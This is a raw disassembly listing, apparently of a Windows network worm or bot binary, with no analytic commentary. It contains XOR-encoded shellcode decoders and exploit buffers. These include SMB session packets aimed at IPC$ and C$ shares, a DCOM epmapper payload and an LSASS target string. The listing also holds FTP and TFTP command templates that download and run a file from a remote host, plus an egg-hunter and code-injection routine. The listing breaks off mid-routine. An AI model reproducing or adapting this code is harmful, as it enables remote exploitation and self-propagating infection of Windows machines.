		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_4247B8:				; DATA XREF: sub_402988+150o
					; sub_402988+20Do
		jmp	short loc_4247CA

; =============== S U B	R O U T	I N E =======================================



sub_4247BA	proc near		; CODE XREF: sub_4247BA:loc_4247CAp
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_4247C2:				; CODE XREF: sub_4247BA+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4247C2
		jmp	short loc_4247CF
; ---------------------------------------------------------------------------


loc_4247CA:				; CODE XREF: seg002:loc_4247B8j
		call	sub_4247BA


loc_4247CF:				; CODE XREF: sub_4247BA+Ej
		jo	short near ptr dword_424748+1Eh
		cwde
		cdq
		cdq
		retn
sub_4247BA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_424868	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_402988+101o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_424950	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_402DDD+7Fo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4249DC	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402DDD+AAo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_424A88	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402DDD+CFo
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_424B68	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+57o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_402988+86o
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_424BCC	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+2B0o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_424C38	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+2DBo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_424CDC	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+3C3o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_424D5C	dd offset loc_401495	; DATA XREF: sub_402988+3F1o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset dword_406DE4+298h
		dd 1, 0
		dd 1, 0
		dd offset dword_406DE4+298h
		dd 1, 0
		dd 1, 0
		dd offset dword_406DE4+298h
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_424DF0	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+314o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_424E5C	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+33Fo
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_424ED0	dd 0				dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 2	dup(0)
word_424F58	dw 0AD9Dh		; DATA XREF: sub_40283D+30r
					; sub_402988+E3r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_424F98	dd 1004600h						; sub_402988+240r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_425050	dd 0A0D7325h, 0						; sub_4036EB+102o ...
aEchoOpenSDEqEc	db 'echo open %s %d >> eq&echo user %s %s >> eq &echo get %s >> eq &e'
					; DATA XREF: sub_40283D+A4o
		db 'cho quit >> eq &ftp -n -s:eq &%s',0Dh,0Ah,0
; ---------------------------------------------------------------------------


loc_4250BC:				; DATA XREF: sub_402988+171o
					; sub_40384C+177o
		jmp	short loc_4250C4
; ---------------------------------------------------------------------------
		jmp	short loc_4250C6
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_4250C4:				; CODE XREF: seg002:loc_4250BCj
					; DATA XREF: sub_402988+27o ...
		pop	esp
		pop	esp


loc_4250C6:				; CODE XREF: seg002:004250BEj
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_4250D0	dd 1CEC8166h						; sub_40384C+Dr
dword_4250D4	dd 0E4FF07h						; sub_40384C+16r
dword_4250D8	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0					; sub_4033CB+21Bo
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425124	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_403178+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_425488	dd 20h,	0			dd 20h,	5C005Ch, 0
off_42549C	dd offset aEage		; DATA XREF: sub_403178+15Do
					; "eage"
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		dd 0
dword_4254DC	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx:			; DATA XREF: sub_403178+45o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_4255EC	dd 18759Fh	dword_4255F0	dd 100139Dh	asc_4255F4:				; DATA XREF: sub_402FDD+1Co
					; sub_4030C0+16o
		unicode	0, <\\>,0
		align 4
aIpc:					; DATA XREF: sub_402FDD+Co
					; sub_4030C0+Bo
		unicode	0, <\IPC$>,0
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_4033CB+41o
		align 10h
		jmp	short loc_425632

; =============== S U B	R O U T	I N E =======================================



sub_425622	proc far		; CODE XREF: sub_425622:loc_425632p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_42562A:				; CODE XREF: sub_425622+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_42562A
		jmp	short loc_425637
; ---------------------------------------------------------------------------


loc_425632:				; CODE XREF: seg002:00425620j
		call	near ptr sub_425622


loc_425637:				; CODE XREF: sub_425622+Ej
		jo	short loc_42569B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_4256B9
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_42569B:				; CODE XREF: sub_425622:loc_425637j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_4256B9:				; CODE XREF: sub_425622+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_425622	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_425760:				; DATA XREF: sub_40384C+156o
					; sub_40384C+212o
		jmp	short loc_425772

; =============== S U B	R O U T	I N E =======================================



sub_425762	proc near		; CODE XREF: sub_425762:loc_425772p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_42576A:				; CODE XREF: sub_425762+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42576A
		jmp	short loc_425777
; ---------------------------------------------------------------------------


loc_425772:				; CODE XREF: seg002:loc_425760j
		call	sub_425762


loc_425777:				; CODE XREF: sub_425762+Ej
		jo	short near ptr dword_4256F0+1Eh
		cwde
		cdq
		cdq
		retn
sub_425762	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_425810	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40384C+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_4258F8	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_403C8B+85o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_425984	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403C8B+B1o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_425A30	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403C8B+D8o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_425B10	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_40384C+8Ao
		unicode	0, <C$>,0
a?????_0	db '?????',0
		dd 0
dword_425B74	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_425BE0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425C84	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_425D04	dd offset loc_401495	; DATA XREF: sub_40384C+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset dword_406DE4+298h
		dd 1, 0
		dd 1, 0
		dd offset dword_406DE4+298h
		dd 1, 0
		dd 1, 0
		dd offset dword_406DE4+298h
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_425D98	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_425E04	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_425E78	dd 0				dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfess_0	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_425F38	dd 1004600h						; sub_40384C+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_4036EB+BEo
					; sub_4051A0+9Do
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4036EB+97o
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_404108+B2o
		align 4
dword_42607C	dd 10FF8h, 0	dword_426084	dd 10FF8h	dword_426088	dd 7FFDF020h, 0	dword_426090	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_1	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_1	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_426118	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_426148	dd 0				dd 800000D4h, 0
unk_426154	db  81h	; 		; DATA XREF: sub_40460C+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
byte_4261A0	db 41h			; DATA XREF: sub_4046AA+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4261E4	proc near		; DATA XREF: seg000:00404987o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4262E0
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4262F6
		mov	[esi+8], eax
		call	sub_4262A9
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4262F6
		mov	[esi+0Ch], eax
		call	sub_42625B
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4262F6
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4261E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_42625B	proc near		; CODE XREF: sub_4261E4+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_426284
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_42625B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426284	proc near		; CODE XREF: sub_42625B+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_426293:				; CODE XREF: sub_426284+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_4262A0
		inc	ebx
		jmp	short loc_426293
; ---------------------------------------------------------------------------


loc_4262A0:				; CODE XREF: sub_426284+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_426284	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262A9	proc near		; CODE XREF: sub_4261E4+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


